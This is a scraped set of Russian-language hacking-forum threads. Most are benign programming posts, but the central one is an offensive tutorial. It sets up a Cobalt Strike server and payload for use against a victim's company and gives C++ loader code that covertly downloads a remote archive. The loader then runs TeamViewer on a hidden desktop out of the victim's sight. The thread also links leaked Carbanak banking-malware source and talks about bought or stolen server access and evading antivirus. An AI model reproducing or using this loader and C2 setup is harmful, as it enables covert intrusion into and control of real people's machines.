Данный контейнер не владеет строкой, а принимает char-образные данные, обычно хранит только указатель на начало строки и размер.
Плюсом является доступ к таким функциям-членам как: operator[](), at(), front(), back(), data(), size(), empty(), swap(), substr(), compare(), find(), rfind(), все из которых constexpr.

C++:Copy to clipboard

int main(int argc, char* argv[])
{
    using namespace std::literals;
    auto temp_str_view = "some data yopta"sv; // литерал 'sv' находящийся в std::literals позволяет писать так, иначе всегда будет необходимо явно указывать тип переменной как std::string_view
    if (!temp_str_view.empty())
        return temp_str_view[7];
    return -1;
}

3. Structure binding
Очень простая и удобная фича, которая позволяет писать более читаемый код:

C++:Copy to clipboard

typedef struct {
    std::string_view name;
    int age;
    float balance_rub;
    float balance_btc;
    void* optional;
    size_t szOptional;
} UserInfo;

UserInfo GetUserDataFromAnywhere(size_t uid = 1)
{
    // searching user...
    return {"Kojima", 45, 0.f, 152.25f, nullptr, 0};
}

int main(int argc, char* argv[])
{
    auto [name, age, nRub, nBtc, opt, szOpt] = GetUserDataFromAnywhere(); // structure binding
    // Теперь мы можем использовать имена name, age и другие
    // Важно использовать все поля структуры, иначе будет ошибка компиляции
    return age;
}

4. Deduction guides
В большинстве случаев они генерируются неявно и позволяют писать следующий код:

C++:Copy to clipboard

template <typename T1, typename T2>
struct MyPair {
    T1 first;
    T2 second;
    MyPair(const T1& t1, const T2& t2) {
        first = t1;
        second = t2;
    }
    ~MyPair() = default;
};

int main(int argc, char* argv[])
{
    auto p1 = MyPair(543.5f, "string"sv); // C++17, в С++14 пришлось бы написать MyPair<float, const char*>(...)
}

Однако можно писать и собственные deduction guides для создания объектов, например:

C++:Copy to clipboard

template <typename T1>
MyPair(T1, const char*) -> MyPair<T1, std::string_view>;

template <typename T2>
MyPair(const char*, T2) -> MyPair<std::string_view, T2>;

Данный код делает так, чтобы MyPair(543.5f, "string") хранилась как MyPair<float, std::string_view>(543.5f, "string"), а не как MyPair<float, const char*>(543.5f, "string").

5. Fold Expressions
Позволяет использовать следующие операции с паками параметров: + - * / % ^ & | = < > << >> += -= *= /= %= ^= &= |= <<= >>= == != <= >= && || , .* ->*

C++:Copy to clipboard

template<typename... Args>
constexpr int sum(Args&&... args) {
    return (args + ... );
}

template<typename... Args>
constexpr bool isEverythingGood(Args&&... args) {
    return (... && args);
}


int main(int argc, char* argv[])
{
    constexpr int summa = sum(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
    constexpr bool isGood = isEverythingGood(true, true, false, true, true, true);

    return isGood;
}

Это лишь малая часть нововведений в С++17, однако именно их можно использовать при написании софта, если вам требуется отключить SDL, exceptions, CRT и прочий мусор.

Бесплатные онлайн-игры, которые обучат вас программировать
ID: 6765d804b4103b69df375987
Thread ID: 54082
Created: 2021-07-17T01:54:54+0000
Last Post: 2021-07-25T20:52:53+0000
Author: Tubu
Prefix: Статья
Replies: 2 Views: 3K

Я отобрал 21 самый интересный сайт, обучающий программированию во время игры, более чем из 200 подобных проектов.
Эта подборка включает бесплатные игры, которые созданы не только для новичков, но и для профессиональных разработчиков
Можно освоить такие языки как JavaScript, Java, Python, PHP, C# и многие другие современные языки.

CodinGame
На CodinGame с помощью написания кода и создания собственного «искусственного интеллекта» вам предстоит решить самые разнообразные и весёлые проблемы. Сайт поддерживает все языки программирования.

CodeCombat
CodeCombat — это платформа для студентов и школьников, позволяющая изучить компьютерные науки, играя в настоящие игры.
Красочная анимация и интересный сюжет, кланы, взаимодействие с тысячами других игроков по всему миру — вот что вам предстоит увидеть.
Поддерживаются такие языки, как Java, JavaScript, Python, Lua, CoffeeScript. Имеется русская локализация.

RubyWarrior
Если вы хотите изучить Ruby, то Ruby Warrior — то, что вам нужно. Есть два уровня сложности, соответствующих вашим навыкам. Для сохранения своего прогресса придётся залогиниться через Facebook.

CheckiO
Check iO — это браузерная игра в жанре «Приключение», которая научит вас программировать на Python.

CodeHunt
В игре Code Hunt вы, охотник за кодом, исправляете код, чтобы он возвращал нужный результат. Для прохождения доступны 14 уровней, в каждом из которых есть по несколько заданий. Игра подойдёт тем, кто хочет изучить Java или C#.

VimAdventures
Давно хотели собраться с силами и выучить Vim полностью?
Игра Vim Adventures поможет сделать это в наиболее весёлой и интерактивной форме.

Robocode
Любите битвы роботов? Тогда игра Robocode для вас. Вы научитесь программировать путём создания боевых роботов-танков на Java или .NET. Когда вы создадите робота, на экране в реальном времени начнётся битва.

CyberDoJo
Cyber Dojo — это пространство, где разработчики могут собираться вместе и изучать такие языки программирования, как JavaScript, Java, Python, PHP, Ruby и многие другие.
Репозиторий проекта на GitHub.

FightCode
Цель FightCode довольно проста: создайте робота, который победит роботов других игроков.
Как создать робота? Напишите его на JavaScript. Например, вы можете использовать метод .rotateCannon() для поворота пушки робота на определённую величину, когда происходит какое-то событие. Прежде чем создавать своего робота, стоит прочитать документацию.

CodeMonkey
В этой игре вы научитесь не только кодить, но и ловить бананы!
На западе учителя часто используют Code Monkey для уроков программирования у детей. Обучают программировать на CoffeScript и Python.

ElevatorSaga
В Elevator Saga вам предстоит управлять настоящим лифтом с помощью JavaScript, разгадывая различные задачки.
Например, первое задание — доставить лифтом 15 человек меньше чем за 60 секунд.
Ссылка на Open Source репозиторий.

Codewars
Улучшайте свои навыки программирования совместно с другими людьми через решение реальных IT-проблем и задач на Codewars.
Поддерживает JavaScript, C#, Java, Python и другие языки.

GitGame
Git Game — консольная игра, пройдя которую вы полностью овладеете этой системой контроля версий. Суть игры заключается в использовании различных команд, чтобы найти подсказки для решения разных загадок.

Hacker
На Hacker.org вы найдете набор пазлов, тестов, викторин и головоломок, которые потребуют всех ваших хакерских навыков.
К концу игры вы даже научитесь взламывать настоящее шифрование!

HexInvaders
В этой версии классической аркады на мир нападают три инопланетянина разных цветов. Для того чтобы спасти человечество, игрок должен быстро переводить шестнадцатеричное значение цвета на человеческий язык и сбивать пришельцев.

Flexbox Froggy
Логическая игра, в которой вы должны помочь цветным лягушкам добраться до их любимых кувшинок. Делать это вам нужно будет при помощи CSS Flexbox, что очень поможет развить навыки вёрстки. Подсказки покажут, как лучше решить каждую задачу, но финальное решение остаётся за вами — способов решения всегда несколько.

Pixactly
Pixactly — это простая по виду, но не по содержанию игра. Вам даётся местоположение двух пикселей, а вы должны нарисовать по этим координатам прямоугольник.

CSSDiner
Отличная игра для знакомства с CSS-селекторами. Игроку даётся стол с посудой, заданный анимированной HTML-формой, и конкретный предмет или предметы, которые нужно взять со стола. Изучено будет всё, от основ до ~ и :first-child.

Flexbox Defense
Классический «tower defense» со вкусом CSS — все башни и ловушки нужно размещать при помощи гибкой вёрстки. Игра состоит из 12 уровней, которые потребуют от вас вспомнить все тонкости системы Flexbox.

Untrusted
Untrusted — это мета-JavaScript-адвенчура, в которой вы играете за персонажа по имени Dr. Eval — символ @, который может изменять окружающий мир, модифицируя его исходный код (ух, прям Матрица ? ). Игроку предоставляются функции, инициализирующие каждый уровень, и API, с помощью которого нужно прокладывать путь к выходу из уровня.

Dungeons Developers
Дерево магических навыков, но магия эта — не льда и огня, а веб-разработки. Отмечайте свои знания CSS, HTML и JavaScript и следите за продвижением к званию Мастера.

Шифрование данных в переменной C lang
ID: 6765d804b4103b69df375989
Thread ID: 52814
Created: 2021-06-11T08:51:55+0000
Last Post: 2021-07-15T18:50:49+0000
Author: fristailxxx
Replies: 26 Views: 3K

Всем привет, есть простая программа(C LANG) в которой нужно ввести пароль, пароль содержится в переменной например:
int pass = 31112222;
Но человек может просто открыть экзешник в IDA и найти пароль, ввести и войти в программу без пароля.
Как зашифровать данные в переменной? так чтобы пароль нельзя было найти в IDA?
Заранее спасибо!

Скрытый запуск любой программы ч1
ID: 6765d804b4103b69df37598c
Thread ID: 53457
Created: 2021-06-30T06:03:16+0000
Last Post: 2021-06-30T06:03:16+0000
Author: unbalance
Prefix: Статья
Replies: 0 Views: 3K

В этой статье вы можете найти отсылки к старым конкурсным статьям и к нынешним, данная статья не претендует на первенство, или то что она технически грамотная, по этому и не учавствует в конкурсе, и создана что бы разбавить хоть как то затишье и подтолкнуть кого то к активному написанию чего то новенького, ведь до конца конкурса осталось очень мало времени, а летняя жара не только размягчает мозги, но и подталкивает к лени.

1) Зачастую в атаке на сеть мы имеем в своём распоряжении данные учетных записей от дедиков.
Добытых начиная от брута и заканчивая уязвимостями серверного ПО, на форуме я нашел несколько статей которые расскажут вам как добывать доступы:

[/threads/53157/] Крутая нынешняя статья к конкурсу с тем, как находить уязвимые сервера через уязвимость в Microsoft Exchange и заполучать к ним доступы, автор очень постарался и раскрыл не только детали, но и поделился наработкой в виде скрипта, это очень круто побольше бы таких статей, почему то в этом конкурсе она всего одна...

[/threads/43115/] Еще круче было и ранее в конкурсах, в статье по уязвимости BlueKeep автор от и до показал вам как без вложений, стать флибустьером. Не ограничивал себя, и рассказал как настроить и установить мету, рабочее окружение, прояснил основы работы со сканнером для поиска уязвимых серверов и это очень крутой материал, на примере которого вы так же в будущем сможете воспользоваться знаниями из статьи, даже если уязвимость прикроют

[/threads/38004/] Так же в предыдущем конкурсе, мы могли познакомиться и с еще одной очень крутой статьей про уязвимости в Pulse Secure. Он показал, как с помощью шодана получить уязвимые адреса панелей, как с помощью абсолютно публичного сплоита прорвать защиту и получить креды. Не менее результативная чем статьи выше! А также тот же самый автор снял видосы и напиал статью в которых он показал на личном примере как ломается сеть без всяких Кобальт Страйков, вручную, на живой сети.

[/threads/38500/] По-моему, это и должно было быть в нынешнем конкурсе и принести приз победителю! Ведь это по сути и есть настоящая работа, от которой вас стараются увести в неправильном направлении, рассказами о том, что нужно учится смотря покупные курсы, бесконечные веб-семинары по пинтестингу, где большая часть это просто слайды и рожа унылого лектора, а не на практике.

**2) Хотя все может быть. И у вас есть просто купленный доступ, и нередко эти доступы вообще лежат без дела у многих людей, потому что они не смогли повысить свои привилегии в системе и раздают знакомым эти доступы совершенно бесплатно.

[/threads/53138/]** Что бы помочь таким страдальцам (а с повышением вы будете страдать часто и очень много) в нынешнем конкурсе автор написал очень крутую статью, в которой он рассказывает как найти уязвимость в системе вручную, и повысится за счет ошибок в самой виндовс при взаимодействии с уязвимым софтом, ведь кобальт страйк – вам в этом не помощник, а просто обычный ратник, а человеческий ум, старания всегда способны подобрать ключ к любой системе, если действительно вникнуть в статью, вы найдете для себя очень много полезного.

3) Очень редко встречал доступы, которые получали люди в результате спам- рассылки, но думаю то, что их перепродавать тяжелее, потому что все-таки используется софт, который запускается на машине человека, открывшего письмо. Софт обычно очень интересный, ведь главная задача не только обойти почтовые фильтры, но и позволить оператору скрытно работать на машине, при рабочей сессии юзера, а также закрепиться на машине - намертво.

Такой софт, например, как у хакерской группировки Карбанак, которая работала по банкам, и была уже давно схвачена. В результате утечки мы имеем исходные коды их творения Можно поиграться с их исходниками и посмотреть, что в них есть интересного [<https://github.com/Aekras1a/Updated-Carbanak-Source-with- Plugins>]. Можно почитать обзор [/threads/30861/] с подробным разбором техник и приемов. Конечно этот софт имеет детекты как новогодняя елка. А кто их не имеет?

Этот софт выгодно отличается именно своей уникальностью от CobaltStrike и Meterpreter, которые у всех на слуху и лежат, как и тысячи других ратников на форумах, репозиториях. Эти софты общедоступны и ничего плохого в них нет. И созданы именно для пентестеров, которые работают по контракту с компаниями, и договариваются заранее с корпами, что бы их софт был добавлен в исключения антивирусных решений. Очень этим софтам мешают именно их детекты, именно то что они изначально настроены на то что бы палиться всеми антивирусами – справится с этой несправедливостью нам поможет пользователь с его статьей по чистке кобальта – [/threads/51076/]. Очень интересно. И как видно он большой фанат этого софта, и все что я говорил ранее про кобальт – он может с легкостью опровергнуть.

  1. Я сделал этот действительно небольшой обзор всех предыдущих материалов, чтобы подобраться к сути своей статьи –давайте сделаем свой софт, который сможет хоть как-то конкурировать с поделкой от карбанака. Сможем? Я думаю нет, но сделать что то действительно удобное да Для самих себя мы всегда можем :)

Для получения сессии с подопытной машины я буду использовать кобальт страйк, давайте разберемся в его установке и настройке.
Начну пожалуй с того что мало кто новичку рассказывает как вообще запускать кобальт, как работает его инфраструктура. В установочном пакете (архиве, кряке? я не знаю как это назвать) есть две основные программы это клиент - cobaltstrike.jar и сервер - teamserver (точнее это sh скрипт который раннит cobaltstrike.jar он жеж самый только с ключами что это будет сервер, но что бы не запутать вас будем думать что его зовут teamserver). Написан софт на яве, и в кали линукс нужная версия уже установленна, кали линукс у меня будет для клиентской части - запускаться cobaltstrike , а на серверной у немя ubuntu и запускаться на ней будет - teamserver. В качестве сервера я использую самый дешевый vps который продается за крипту.

Нужно объяснить как работают все ратники: Абсолютно все ратники работают через публичный ip адресс. Те если вы запустите у себя на компьютере сервер

После покупки VPS (обязательно в рамках этой статьи на ubuntu) вам выдается ssh логин и пароль, а так же ip адресс по которому вы будете подключаться. Как передавать архивы через ssh, логиниться и отдавать команды я упущу потому что это темы не касается и хорошо документировано в сети и без меня. Кратко пробегусь по установке необходимых зависимостей... Для работы teamserver - ему нужна ява - установим ее так:

Code:Copy to clipboard

apt update
apt-get install openjdk-11-jdk
update-java-alternatives -s java-1.11.0-openjdk-amd64

Закидываю все файлы из архива кобальта. Выставляю права на запуск скрипту (это делать один раз) teamserver:

Code:Copy to clipboard

chmod +x teamserver

И запускаю teamserver

Code:Copy to clipboard

./teamserver 2.111.111.111 password

Где 2.111.111.111 - это публичный ip адресс нашего сервера на убунту
Аpassword придуманный нами любой пароль для подключения нашего клиента Кобальта

Давайте подключимся к серверу через клиент, для запуска клиента кобальта я обычно использую ярлык, создайте обычный файл в вашей Кали, задайте ему название с раширением CobaltStrike.desktop откройте в любом блокноте и вставте код, с сохранинием путей до папки с вашим кобальтом для параметров Path и Icon

Code:Copy to clipboard

[Desktop Entry]
Version=1.0
Type=Application
Name=CobaltStrike
Comment=
Exec=java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
Icon=/home/kali/Cobalt Strike/icon.jpg
Path=/home/kali/Cobalt Strike
Terminal=false
StartupNotify=false

Теперь если вы все правильно сделали с помощью клика мышки можно быстро запустить клиент, и начать процедуру подключения к вашему серверу.
Откроется окно:
connect to teamserver.png
Введите в Host 2.111.111.111 - ваш публичный ip адресс сервера
В пассворд - ваш пароль который вы придумали для запуска teamserver

Нажмите "коннект " и вы подключитесь к серверу, все должно начать выглядеть так:
cobaltstricke.png

Screenshot_2.png
Самое первое что мы должны будем сделать это настроить прослушиватели (мини- сервера, которые слушают входящие подключения на определенном порту), "listener " как они называются в кобальт, они различаются протоколами подключения наших жертв к нашему серверу. Какой то работает по HTTPS, какой то по DNS, каждый из протоколов обладает своими плюсами и преднозначен для разных целей.

Выберете в панели меню справа вверху CobaltStrike - > Listeners
Внизу вы увидете открывшийся таб, в котором есть кнопка "Add ", когда вы на нее нажмете откроется окно в котором вы можете выбрать интересующий вас протокол, по которому будет общаться сервер и жертва.

Screenshot_4.png
Выберете для начала - HTTP или HTTPS протокол. Выставьте порт в соотвествии с вашим предпочтением, если нужно введите Host - ваш серверный ip. Придумайте имя и нажмите "Save "

Теперь перейдем ко второй важной части - а именно генерации полезной нагрузки
В верхнем меню выберете **Attacks - > Packages. **Если вы можете закриптовать экзешник, то выбирайте Windows Executable (S) - это более полный, не подгружающий ни откуда дополнительных частей бинарный файл, обычный Windows Executable - весит примерно 15 кб, а полный будет весить примерно 300 кб. Те если у тебя получилось запустить Кобу на машине чувака, то еще не значит что все остальные действия на машине его ты сможешь провести так же незаметно, потому что так или иначе для некоторых своих функций - кобальт будет дропать на диск различные дллки, например для подключения по vnc - и тут конечно - тебя обязательно обнаружит даже самый захудалый антивирус.

В самом начале цепочки атаки ведь напомню у нас нет админских прав, и антивирус включен, выключить у тебя в любом случае его не получится, если не найти возможности к повышению.

Давайте поучимся на этом экзешнике для начала. А потом перейдем к созданию чего то более интересного.
после выбора Windows Executable (S) откроется новое окно. В Output пусть будет Windows EXE. Напротив Listener - нажмите кнопку с троеточием и выбирете ваш созданный в предыдущем шаге Listener

Screenshot_5.png
После нажатия кнопки Generate вас попросят сохранить файл beacon.exe. Это и будет наш вирус. С ним возможна только криптовка, ибо он извините палится, и просто так его не почистить. Хотя в отличии от меня есть как я выше писал реальные чуваки, у которых это выходит на 5+. Я лично воспользуюсь бесплатными для меня услугами моего друга... Извиняюсь за свои лайфхаки.

Теперь когда у меня все хорошо - можно и получить сессию какой нибудь конторы. Давайте попробуем!

session_1.png

session_2.png
Прилетела сессия, и первым делом нам думаю нужно выставить таймер-задержку, через которую у нас будут выполняться команды. Я ставлю ее очень маленькой, по причине того что по дефолту у нас всегда стоит 60 секунд. Кликаем правой кнопкой мыши на строку с сессией, в выпадающем контекстном меню выбираем Session -> Sleep и выставляем в открывшемся окне 10 секунд, нажимаем сохранить. Через минуту сессия начнет работать с 10 секундной задеркой. Мы съэкономили 50 секунд в минуте. Поздравляю лол!

9010ddcb12808f3eaaacba4ff75fbff5.jpg
Все выше было жутким пабликом и к теме статьи не имеет никакого отношения вообще. (Если не нравится статья, то не пишите пожалуйста плохих комментариев, а то я разрыдаюсь :3)

Цитата от Хоблина Пушкова:
Хейтеров прошу негатив писать только с ссылкой на их материал, так же хочу пояснить, что именно такого материала и в таком корявом изложении я не видел,тема не будет актуальна для начинающих и среднего уровня ребятам, если только у вас тяжелое психическое заболевание, тогда го!

Это просто желание автора, рассказать вам, как ему нравится софт которым вы можете пользоваться прямо сейчас, если вам предлогают этому обучаться за деньги тоже не ведитесь. Дальше просто покапайтесь в менюшке, посмотрите что там к чему, изначально получается что функционал максимально скуден, но его можно расширять за счет различных скриптов. Мы же займемся чуть чуть другим :)

Как было заявлено - давайте постараемся создать какую нибудь малварку которая будет не только скрыто доставлять наш бинарник кобальта, но и абсолютно незаметно открывать даже любые графические приложения на машине жертвы.

Цитата от Хоблина Пушкова:
Когда мы уже взрослые, понимаем что к чему, тогда мы обычно используем NC или не используем, но это не важно.

GHRWYBKtSzQ.jpg
Давайте придумаем какой нибудь лоадер, именно что бы он загружал наш бинарник и запускал его на машине жертвенного агнеца.
Если у вас установлена 2019 студия, то это хорошо, если не установлена - то плохо. Если стоит какая то другая идеешка и вы ей усердно пользуетесь, то что вы забыли тут:? Мы вообще для загрузки будем использовать URLDownloadToFileA (а чего вы хотели ведь статья не про загрузку файла, юзайте что любите WinInet, WinHttp, libCurl) И шИфРоВаТь строки xor как настоящие ДеФчЕнКи ?. Если вам невыносимо плохо - немедленно выкиньте системный блок в окно, и забудьте статью как страшный сон.

Если вы еще не вышли вслед за системным блоком...
Вы должны понять что так или иначе изучение программирования, или хотя бы минимальные знания о том как собрать проект нам жизненно необходимы, тысячи профессий, сейчас требуют знания хотя бы петухона или богоподобного php для того что бы быть рабочей лошадкой, при работе на жадного дядю. Сейчас такое время, что все еще не усложнилось максимально для входа, да и мы находимся на ресурсе, на котором можно задавать любые вопросы касательно абсолютно любой тематики.

Прежде всего по техническим характеристикам лоадера, и что он будет выполнять. Напишу его на С++ что бы не считать хеши вручную, и криптовать строки так же на лету. Будет запускать КобальтСтрайк или Тимвувер (в качестве эксперемента) последней версии на скрытом рабочем столе, что это нам даст? Хрен его знает, что это нам даст если у вас нет фантазии, но для нормальных анонимусов это место для любой самой дарк фантазии. Пригодится всегда я думаю.

А если не пригодится то - вы всегда можете излить душу в комментариях, а вас послушаю и извинюсь.

Для начала произведем загрузку Тимвувера - очень будет интересно посмотреть как антивирус в нашем случае Дефендер будет ругаться на весь наш говнокод, и на загрузку при этом подписанного и доверенного приложения, но при этом загружаемого из самой юзанной школьниками функции для загрузки файла, и запускаемого на скрытом рабочем столе (на самом деле это не очень даже скрытый рабочий стол, а фишка винды еще с win xp, которая так и не вошла в обиход, в отличии от unix).

объявляем переменные под наши манипуляции

Code:Copy to clipboard

    char* appdatap = new char[512];
    char* zippdata = new char[512];
    char* tvfolder = new char[512];
    char* tvsceen  = new char[512];

получаем путь до %appdata% и к этому пути конкатинируем название нашего будущего зип-архивчека

Code:Copy to clipboard

    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdatap)))
    {
        lstrcpyA(zippdata, appdatap);
        lstrcatA(zippdata, XorString("\\tv.zip"));

скачаем по школьному...

Code:Copy to clipboard

if (S_OK == URLDownloadToFileA(NULL, XorString("https://github.com/****/****/raw/main/tv.zip"), zippdata, 0, NULL))
{

и результат такой скачки - не палится обновленным дефендером, поздравляю! те обыкновенный дроппер - не является вирусным, какие либо функции он не использовал - если скачиваемое легитимно

создаем имя нашей будущей папки для разархивированных файлов тимвувера

Code:Copy to clipboard

lstrcpyA(tvfolder, appdatap);
lstrcatA(tvfolder, XorString("\\tv\\"));

и распаковываем

Code:Copy to clipboard

if (zip_extract(zippdata, tvfolder, NULL, NULL) >= 0)
{

итак, мы приходим к выводу, что обычный дроппер - вполне себе легитимных файлов - не вызывает детектов, видимо все таки реализация конкретного антивируса завязана либо на анализ CreateFile или NtCreateFile, запоминаем этот факт и двигаем дальше.... те кто вышел в окно с системным блоком, медленно поднимаются по лестнице к себе в квартиру. Теперь по плану у нас самая интересная часть представления, а именно создание скрытого рабочего стола, на котором мы и будем запускать наши программы, в тайне от пользователя.

Попробуем открыть скрытый рабочий стол функой OpenDesktopA , запомните что deskname - это уникальное имя для рабочего стола. Если такой рабочий стол не открылся - то самое время его создать с помощью - CreateDesktopA, так же указываем уникальное имя deskname. Но если и он по какой то причине не создался можно сворачивать лавочку и закрывать приложение.

Code:Copy to clipboard

HDESK hidden_desktop = OpenDesktopA(deskname, NULL, FALSE, GENERIC_ALL);
if (!hidden_desktop)
{
    hidden_desktop = CreateDesktopA(deskname, NULL, NULL, 0, GENERIC_ALL, NULL);
    if (!hidden_desktop)
    {
        exit(0);
    }
    printf("desktop created!\n");
}
printf("desktop open!\n");

Получив хендл нашего нового рабочего стола переходим в него

Code:Copy to clipboard

if (SetThreadDesktop(hidden_desktop))
{

А теперь можем запускать любой нужный нам софт на скрытом рабочем столе, я дернул файлики портабельного тимвувера, и сделал при этом минимальную работоспособную сборку

Screenshot_7.png
К сожалению сейчас нет сайта vxlab.info на котором вы бы могли увидеть цикл статей про создание по настоящему скрытого тимвувера , со скрытием всех окошек, всплывающих уведомлений, и вообще очень качественный материал по поиску уязвимостей в любых софтах. Очень рекомендую. Прям очень. Почитайте обязательно. Но а мы возращаемся к нашим кодесам. Запустим на скрытом рабочем столе экплорер, что бы он у нас в будущем хотя бы был:

Code:Copy to clipboard

ExpandEnvironmentStringsA(XorString("%windir%\\explorer.exe"), explorer_path, MAX_PATH - 1);
....

if (CreateProcessA(explorer_path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info))
{

А еще не помещает получить путь до нашего экзешника тимвувера и запустить его как запускали эксплорер

Code:Copy to clipboard

lstrcatA(tvfolder, XorString("TeamViewer.exe"));
if (CreateProcessA(tvfolder, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{

Процесс благополучно запускается... Запустился и на основном рабочем столе - я лично ничего не вижу. Где же открылось окошко? Куда оно делось то! Ну да оно на скрытом рабочем столе, как же мы его увидим, ребята. Давайте попробуем как нибудь его найти окно хотя бы:

Code:Copy to clipboard

HWND TeamViewer = NULL;

while (TRUE)
{
    if (NULL != (TeamViewer = FindWindowA(NULL, XorString("TeamViewer"))))
    {
        break;
    }
    Sleep(1000);
}

После того как мы обнаружили окошко, давайте постараемся сделать с него скрин:

Spoiler: Много кода

Code:Copy to clipboard

                            RECT DesktopParams;
                            GetWindowRect(TeamViewer, &DesktopParams);

                            HDC DevC = GetDC(TeamViewer);

                            DWORD Width = DesktopParams.right - DesktopParams.left;
                            DWORD Height = DesktopParams.bottom - DesktopParams.top;
                            DWORD FileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (sizeof(RGBTRIPLE) + 1 * (Width * Height * 4));
                            char* BmpFileData = (char*)GlobalAlloc(0x0040, FileSize);

                            PBITMAPFILEHEADER BFileHeader = (PBITMAPFILEHEADER)BmpFileData;
                            PBITMAPINFOHEADER  BInfoHeader = (PBITMAPINFOHEADER)&BmpFileData[sizeof(BITMAPFILEHEADER)];

                            BFileHeader->bfType = 0x4D42;
                            BFileHeader->bfSize = sizeof(BITMAPFILEHEADER);
                            BFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

                            BInfoHeader->biSize = sizeof(BITMAPINFOHEADER);
                            BInfoHeader->biPlanes = 1;
                            BInfoHeader->biBitCount = 24;
                            BInfoHeader->biCompression = BI_RGB;
                            BInfoHeader->biHeight = Height;
                            BInfoHeader->biWidth = Width;

                            RGBTRIPLE* Image = (RGBTRIPLE*)&BmpFileData[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)];
                            RGBTRIPLE color;

                            HDC CaptureDC = CreateCompatibleDC(DevC);

                            HBITMAP CaptureBitmap = CreateCompatibleBitmap(DevC, Width, Height);
                            SelectObject(CaptureDC, CaptureBitmap);

                            if (PrintWindow(TeamViewer, CaptureDC, 0))
                            {
                                BitBlt(DevC, 0, 0, Width, Height, CaptureDC, 0, 0, SRCCOPY | CAPTUREBLT);
                                GetDIBits(CaptureDC, CaptureBitmap, 0, Height, Image, (LPBITMAPINFO)BInfoHeader, DIB_RGB_COLORS);

                                DWORD Junk;
                                HANDLE FH = CreateFileA(tvsceen, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0);
                                WriteFile(FH, BmpFileData, FileSize, &Junk, 0);
                                CloseHandle(FH);
                                GlobalFree(BmpFileData);
                            }
                        }

И сохраняем этот скрин в папку с тимкой. Тимка теперь будет очень рад!

Давайте запустим наше чудо-юдо и посмотри что получилось:
session_7.png
screen.png

А теперь наберите в грудь воздуха, обязательно отпейте чая, и прочитайте спойлер ниже:

Spoiler: Очень важный спойлер

Эта сука не подключается к клиенту!!! В топку её в самое пекло ада! Ave Satani

Мы двигались семимильными шагами точно к провалу, использовали функции которые нельзя было использовать - но каким то чудестным чудом обходили дефендер, мы запускали на рабочем столе, то что никогда не должно было там работать... И вы думате на этом всё?

Windows Kernel Programming by Pavel Yosifovich
ID: 6765d804b4103b69df3759a2
Thread ID: 44171
Created: 2020-11-11T02:00:58+0000
Last Post: 2021-06-04T16:54:26+0000
Author: Azrv3l
Prefix: Мануал/Книга
Replies: 6 Views: 3K

Windows Kernel Programming by Pavel Yosifovich

cover.png

В этом разделе буду публиковать перевод [этой](https://www.amazon.com/Windows- Kernel-Programming-Pavel-Yosifovich/dp/1977593372) книги. Оригинал я залил на мегу.

В книге всего 11 глав:

Ссылка : Mega
Формат : Pdf
Размер : 5.1 MB

Обёртка над WinApi golang
ID: 6765d804b4103b69df3759bc
Thread ID: 49678
Created: 2021-03-21T16:13:34+0000
Last Post: 2021-04-20T10:11:02+0000
Author: Jeffs
Replies: 17 Views: 3K

Из интереса написал либу для динамического импорта win-api.
pkg/go_pe - парсер PE-формата. Основан на либе github.com/Velocidex/go-pe, правда я её чуток переписал - в ориг. либе все смещения высчитываются относительно файла, что, в моём случае, было не нужно. Ну и обрезал ненужные функции.
pe, err := go_pe.NewPEFile(reader io.ReadAt), где reader - интерфейс с методом ReadAt(buff []byte, offset int64) (countReaded int, err error) который просто читает данные по смещению offset и возвращает кол-во прочитанных байт, пример:

C:Copy to clipboard

type Module uintptr
func (m Module) ReadAt(p []byte, off int64) (n int, _ error) {
    if off == -1 {
        return 0, errors.New("negative offset")
    }
    n = len(p)
    m = Module(int64(m) + off)
    for i := 0; i < n; i++ {
        p[i] = *((*byte)(unsafe.Pointer(m + Module(i))))
    }
    return n, nil
}

pkg/dyn_win_api - кастомная реализация GetModuleHandle (парсинг PEB->Ldr) и GetProcAddress (парсинг экспорта загруженного модуля, форварды поддерживаются), ну и небольшая обёртка над всем этим делом.
internal/winapi - пример реализации конечного враппера для дальнейшего удобного использования.
internal/app - пример использования (простой месседж бокс):

C:Copy to clipboard

package app

import (
    "win/internal/winapi"
)

func Run() {
    w := winapi.NewWinApi()
    w.MessageBox(0, "text", "caption", 0)
}

Сборка - просто запускаем батник build_win32_gui.bat,.
В общем-то и всё. Пример забивания гвоздей тапком, но может кому пригодиться. Так же если кому-нибудь будет интересно - напишу простенькую малварку на го (по типу клиппера/криптора), если будет время. Так же исходники выложу.

не нравится if. Не компилирует
ID: 6765d804b4103b69df375ba9
Thread ID: 10102
Created: 2005-11-22T18:29:44+0000
Last Post: 2005-11-23T12:46:45+0000
Author: WTF!!!
Replies: 4 Views: 3K

Опять я со своими вопросами.

Code:Copy to clipboard

#include <iostream>
#include <conio.h>

using namespace std;
int main()
{
    char name[15];
    cout << " Welcome\n Please enter Your name:\n";
    cin >> name;
    cout << "Hello " << name; 
    cout << "\n Decode the number: 442777777999\n And then enter the decoded word\n";
    char pass[6];
    cout << " The word is: ";
    cin >> pass;
    
    if ( pass = harry )
    {
         cout << " \nNice job, You have made it!\n Greetings for you " << name << " from Me\n :) ";
         }
         else
         {
             cout << "\n Sorry, wrong word, try next time.";
             }
             
    
    
    
    
    
    
    
    
getch();
}

Не компилируется, не нравится ему if. Что за нафиг? И вопрос ещё, как сдлеть, что если человек неправильно написал, что бы после этого возращался к

Code:Copy to clipboard

    cout << " The word is: ";

И делал всё дальше как и надо, если бы запустили первый раз.

Вопросик по C#
ID: 6765d804b4103b69df3759cc
Thread ID: 8407
Created: 2006-05-12T18:48:13+0000
Last Post: 2021-03-22T10:03:50+0000
Author: Lamer
Replies: 4 Views: 3K

Гы, вотЬ собственно и вопрос для размышления...
имеется вот такой вот код

Code:Copy to clipboard

class MethodView
{

    public string[] name;
    public string[] value;
    public int iCount;

    public MethodView(Type type)
    { 
//        Type type = typeof(args);
